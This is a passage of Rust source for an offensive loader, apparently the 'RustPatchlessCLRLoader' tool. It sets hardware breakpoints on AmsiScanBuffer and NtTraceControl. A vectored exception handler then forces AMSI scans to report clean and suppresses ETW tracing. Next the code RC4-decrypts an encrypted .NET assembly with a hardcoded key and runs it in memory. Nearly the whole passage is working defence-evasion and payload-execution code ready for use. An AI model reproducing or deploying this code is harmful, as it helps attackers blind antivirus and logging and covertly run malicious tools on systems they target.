*mut c_void, 72 | ProcessInformationLength: ULONG, 73 | ReturnLength: *mut ULONG, 74 | ) -> NTSTATUS; 75 | fn NtOpenThread( 76 | ThreadHandle: *mut HANDLE, 77 | DesiredAccess: ACCESS_MASK, 78 | ObjectAttributes: *const OBJECT_ATTRIBUTES, 79 | ClientId: *const CLIENT_ID, 80 | ) -> NTSTATUS; 81 | fn NtClose(Handle: HANDLE) -> NTSTATUS; 82 | 83 | } 84 | 85 | fn set_bits(dw: u64, low_bit: i32, bits: i32, new_value: u64) -> u64 { 86 | let mask = (1 << bits) - 1; 87 | (dw & !(mask << low_bit)) | (new_value << low_bit) 88 | } 89 | 90 | fn clear_breakpoint(ctx: &mut CONTEXT, index: i32) { 91 | match index { 92 | 0 => ctx.Dr0 = 0, 93 | 1 => ctx.Dr1 = 0, 94 | 2 => ctx.Dr2 = 0, 95 | 3 => ctx.Dr3 = 0, 96 | _ => {} 97 | } 98 | ctx.Dr7 = set_bits(ctx.Dr7, (index * 2) as i32, 1, 0); 99 | ctx.Dr6 = 0; 100 | ctx.EFlags = 0; 101 | } 102 | 103 | fn enable_breakpoint(ctx: &mut CONTEXT, address: *mut u8, index: i32) { 104 | match index { 105 | 0 => ctx.Dr0 = address as u64, 106 | 1 => ctx.Dr1 = address as u64, 107 | 2 => ctx.Dr2 = address as u64, 108 | 3 => ctx.Dr3 = address as u64, 109 | _ => {} 110 | } 111 | ctx.Dr7 = set_bits(ctx.Dr7, 16, 16, 0); 112 | ctx.Dr7 = set_bits(ctx.Dr7, (index * 2) as i32, 1, 1); 113 | ctx.Dr6 = 0; 114 | } 115 | 116 | fn get_arg(ctx: &CONTEXT, index: i32) -> usize { 117 | match index { 118 | 0 => ctx.Rcx as usize, 119 | 1 => ctx.Rdx as usize, 120 | 2 => ctx.R8 as usize, 121 | 3 => ctx.R9 as usize, 122 | _ => unsafe { *((ctx.Rsp as *const u64).offset((index + 1) as isize) as *const usize) } 123 | } 124 | } 125 | 126 | fn get_return_address(ctx: &CONTEXT) -> usize { 127 | unsafe { *((ctx.Rsp as *const u64) as *const usize) } 128 | } 129 | 130 | fn set_result(ctx: &mut CONTEXT, result: usize) { 131 | ctx.Rax = result as u64; 132 | } 133 | 134 | fn adjust_stack_pointer(ctx: &mut CONTEXT, amount: i32) { 135 | ctx.Rsp += amount as u64; 136 | } 137 | 138 | fn set_ip(ctx: &mut CONTEXT, new_ip: usize) { 139 | ctx.Rip = new_ip as u64; 140 | } 141 | 142 | unsafe extern "system" fn exception_handler(exceptions: *mut EXCEPTION_POINTERS) -> LONG { 143 | unsafe { 144 | let context = &mut *(*exceptions).ContextRecord; 145 | let exception_code = (*(*exceptions).ExceptionRecord).ExceptionCode; 146 | let exception_address = (*(*exceptions).ExceptionRecord).ExceptionAddress as usize; 147 | 148 | if exception_code == EXCEPTION_SINGLE_STEP { 149 | if let Some(amsi_address) = AMSI_SCAN_BUFFER_PTR { 150 | if exception_address == amsi_address as usize { 151 | println!("[+] AMSI Bypass invoked at address: {:#X}", exception_address); 152 | let return_address = get_return_address(context); 153 | let scan_result_ptr = get_arg(context, 5) as *mut i32; 154 | *scan_result_ptr = AMSI_RESULT_CLEAN; 155 | 156 | set_ip(context, return_address); 157 | adjust_stack_pointer(context, std::mem::size_of::<*mut u8>() as i32); 158 | set_result(context, S_OK as usize); 159 | 160 | clear_breakpoint(context, 0); 161 | return EXCEPTION_CONTINUE_EXECUTION; 162 | } 163 | } 164 | 165 | if let Some(nt_trace_address) = NT_TRACE_CONTROL_PTR { 166 | if exception_address == nt_trace_address as usize { 167 | println!("[+] NtTraceControl Bypass invoked at address: {:#X}", exception_address); 168 | if let Some(new_rip) = find_gadget(exception_address, b"\xc3", 1, 500) { 169 | context.Rip = new_rip as u64; 170 | } 171 | 172 | clear_breakpoint(context, 1); 173 | return EXCEPTION_CONTINUE_EXECUTION; 174 | } 175 | } 176 | } 177 | 178 | EXCEPTION_CONTINUE_SEARCH 179 | } 180 | } 181 | 182 | fn find_gadget(function: usize, stub: &[u8], size: usize, dist: usize) -> Option { 183 | for i in 0..dist { 184 | unsafe { 185 | let ptr = function + i; 186 | if std::slice::from_raw_parts(ptr as *const u8, size) == stub { 187 | return Some(ptr); 188 | } 189 | } 190 | } 191 | None 192 | } 193 | 194 | fn GetCurrentProcessId() -> u32 { 195 | let pseudo_handle = -1isize as HANDLE; 196 | let mut pbi: PROCESS_BASIC_INFORMATION = unsafe { zeroed() }; 197 | let status = unsafe { 198 | NtQueryInformationProcess( 199 | pseudo_handle, 200 | 0, 201 | &mut pbi as *mut _ as *mut c_void, 202 | mem::size_of::() as ULONG, 203 | null_mut()) 204 | }; 205 | 206 | if status != STATUS_SUCCESS { 207 | 1 208 | } else { 209 | 210 | pbi.UniqueProcessId as u32 211 | } 212 | } 213 | 214 | fn setup_bypass() -> Result<*mut c_void, String> { 215 | let mut thread_ctx: CONTEXT = unsafe { std::mem::zeroed() }; 216 | thread_ctx.ContextFlags = CONTEXT_ALL; 217 | 218 | unsafe { 219 | if AMSI_SCAN_BUFFER_PTR.is_none() { 220 | let module_name = CString::new("amsi.dll").unwrap(); 221 | 222 | let mut module_handle = GetModuleHandleA(module_name.as_ptr()); 223 | 224 | if module_handle.is_null() { 225 | module_handle = LoadLibraryA(module_name.as_ptr()); 226 | if module_handle.is_null() { 227 | return Err("Failed to load amsi.dll".to_string()); 228 | } 229 | } 230 | 231 | let function_name = CString::new("AmsiScanBuffer").unwrap(); 232 | let amsi_scan_buffer = GetProcAddress(module_handle, function_name.as_ptr()); 233 | 234 | if amsi_scan_buffer.is_null() { 235 | return Err("Failed to get address for AmsiScanBuffer".to_string()); 236 | } 237 | 238 | AMSI_SCAN_BUFFER_PTR = Some(amsi_scan_buffer as *mut u8); 239 | } 240 | 241 | if NT_TRACE_CONTROL_PTR.is_none() { 242 | let ntdll_module_name = CString::new("ntdll.dll").unwrap(); 243 | let ntdll_module_handle = GetModuleHandleA(ntdll_module_name.as_ptr()); 244 | 245 | let ntdll_function_name = CString::new("NtTraceControl").unwrap(); 246 | let ntdll_function_ptr = GetProcAddress(ntdll_module_handle, ntdll_function_name.as_ptr()); 247 | if ntdll_function_ptr.is_null() { 248 | return Err("Failed to get address for NtTraceControl".to_string()); 249 | } 250 | 251 | NT_TRACE_CONTROL_PTR = Some(ntdll_function_ptr as *mut u8); 252 | } 253 | } 254 | 255 | let h_ex_handler = unsafe { 256 | AddVectoredExceptionHandler(1, Some(exception_handler)) 257 | }; 258 | 259 | let process_id = GetCurrentProcessId(); 260 | let thread_handles = get_remote_thread_handle(process_id)?; 261 | 262 | for thread_handle in &thread_handles { 263 | if unsafe { NtGetContextThread(thread_handle.clone(), &mut thread_ctx) } != 0 { 264 | return Err("Failed to get thread context".to_string()); 265 | } 266 | unsafe { 267 | if let Some(amsi_ptr) = AMSI_SCAN_BUFFER_PTR { 268 | enable_breakpoint(&mut thread_ctx, amsi_ptr, 0); 269 | } 270 | if let Some(nt_trace_ptr) = NT_TRACE_CONTROL_PTR { 271 | enable_breakpoint(&mut thread_ctx, nt_trace_ptr, 1); 272 | } 273 | } 274 | 275 | if unsafe { NtSetContextThread(thread_handle.clone(), &mut thread_ctx) } != 0 { 276 | return Err("Failed to set thread context".to_string()); 277 | } 278 | unsafe{NtClose(thread_handle.clone())}; 279 | 280 | } 281 | Ok(h_ex_handler) 282 | } 283 | 284 | fn get_remote_thread_handle(process_id: u32) -> Result, String> { 285 | let mut buffer: Vec = Vec::with_capacity(1024 * 1024); 286 | let mut return_length: ULONG = 0; 287 | 288 | let status = unsafe { 289 | NtQuerySystemInformation( 290 | SystemProcessInformation, 291 | buffer.as_mut_ptr() as *mut c_void, 292 | buffer.capacity() as ULONG, 293 | &mut return_length 294 | ) 295 | }; 296 | 297 | if !NT_SUCCESS(status) { 298 | return Err("Failed to call NtQuerySystemInformation".to_owned()); 299 | } 300 | 301 | unsafe { 302 | buffer.set_len(return_length as usize); 303 | } 304 | 305 | let mut offset: usize = 0; 306 | let mut thread_handles: Vec = Vec::new(); 307 | 308 | while offset < buffer.len() { 309 | let process_info: &SYSTEM_PROCESS_INFORMATION = unsafe { &*(buffer.as_ptr().add(offset) as *const SYSTEM_PROCESS_INFORMATION) }; 310 | 311 | if process_info.UniqueProcessId == process_id as PVOID { 312 | let thread_array_base = (process_info as *const _ as usize) + std::mem::size_of::() - std::mem::size_of::(); 313 | 314 | for i in 0..process_info.NumberOfThreads as usize { 315 | let thread_info_ptr = (thread_array_base + i * std::mem::size_of::()) as *const SYSTEM_THREAD_INFORMATION; 316 | let thread_info = unsafe { &*thread_info_ptr }; 317 | 318 | let mut thread_handle: HANDLE = null_mut(); 319 | let mut object_attrs: OBJECT_ATTRIBUTES = unsafe { std::mem::zeroed() }; 320 | let mut client_id: CLIENT_ID = unsafe { std::mem::zeroed() }; 321 | client_id.UniqueThread = thread_info.ClientId.UniqueThread; 322 | 323 | let status = unsafe { 324 | NtOpenThread( 325 | &mut thread_handle, 326 | THREAD_ALL_ACCESS, 327 | &mut object_attrs, 328 | &mut client_id 329 | ) 330 | }; 331 | 332 | if NT_SUCCESS(status) { 333 | thread_handles.push(thread_handle); 334 | } 335 | } 336 | } 337 | 338 | if process_info.NextEntryOffset == 0 { 339 | break; 340 | } 341 | offset += process_info.NextEntryOffset as usize; 342 | } 343 | 344 | if thread_handles.is_empty() { 345 | return Err("Failed to find any threads".to_owned()); 346 | } 347 | 348 | Ok(thread_handles) 349 | } 350 | 351 | fn read_file(filename: &str) -> Vec { 352 | let mut file = File::open(filename).expect("Failed to open file"); 353 | let mut contents = Vec::new(); 354 | file.read_to_end(&mut contents).expect("Failed to read file"); 355 | contents 356 | } 357 | 358 | fn decrypt_rc4(filename: &str) -> Vec { 359 | let mut buf = read_file(filename); 360 | let mut rc4 = Rc4::new(b"C2Pain".into()); 361 | 362 | rc4.apply_keystream(&mut buf); 363 | 364 | buf 365 | } 366 | 367 | fn prepare_args() -> (String, Vec) { 368 | let mut args: Vec = env::args().collect(); 369 | 370 | if args.len() < 2 { 371 | println!("[!] Usage: {} ", args[0]); 372 | println!("[!] Example: {} S-e-a-t-b-e-l-t-4.enc AntiVirus", args[0]); 373 | exit(1) 374 | } 375 | 376 | let mut command_args: Vec = vec![]; 377 | 378 | if args.len() > 2 { 379 | command_args = args.split_off(2) 380 | } 381 | 382 | let path = args[1].clone(); 383 | 384 | println!("[+] Running {} with args: {:?}", path, command_args); 385 | 386 | return (path, command_args); 387 | } 388 | fn main() -> Result<(), String> { 389 | println!("[+] RustPatchlessCLRLoader by C2Pain."); 390 | println!("[+] Github: https://github.com/c2pain/RustPatchlessCLRLoader"); 391 | let (path, args) = prepare_args(); 392 | 393 | match setup_bypass() { 394 | Ok(_) => { 395 | let shellcode = decrypt_rc4(&path); 396 | let mut clr = Clr::new(shellcode, args)?; 397 | let results = clr.run()?; 398 | println!("[+] Results:\n\n{}", results); 399 | process::exit(0); 400 | }, 401 | Err(err_msg) => { 402 | println!("Error during verification: {}", err_msg); 403 | } 404 | } 405 | Ok(()) 406 | } --------------------------------------------------------------------------------